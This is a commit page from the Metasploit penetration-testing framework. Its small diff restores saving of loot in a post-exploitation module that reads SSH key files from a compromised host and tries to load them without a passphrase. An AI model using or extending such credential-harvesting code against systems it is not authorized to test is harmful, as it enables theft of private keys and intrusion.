Skip to content

Commit 4ffffa5

Browse files
author
Brent Cook
committed
Land rapid7#5184, restore store_loot for ssh_creds gatherer
2 parents ff96101 + 43e9244 commit 4ffffa5

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

modules/post/multi/gather/ssh_creds.rb

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -61,7 +61,8 @@ def download_loot(paths)
6161
data = read_file("#{path}#{sep}#{file}")
6262
file = file.split(sep).last
6363

64-
print_good("Downloaded #{path}#{sep}#{file}")
64+
loot_path = store_loot("ssh.#{file}", "text/plain", session, data, "ssh_#{file}", "OpenSSH #{file} File")
65+
print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}")
6566

6667
begin
6768
key = SSHKey.new(data, :passphrase => "")

0 commit comments

Comments
 (0)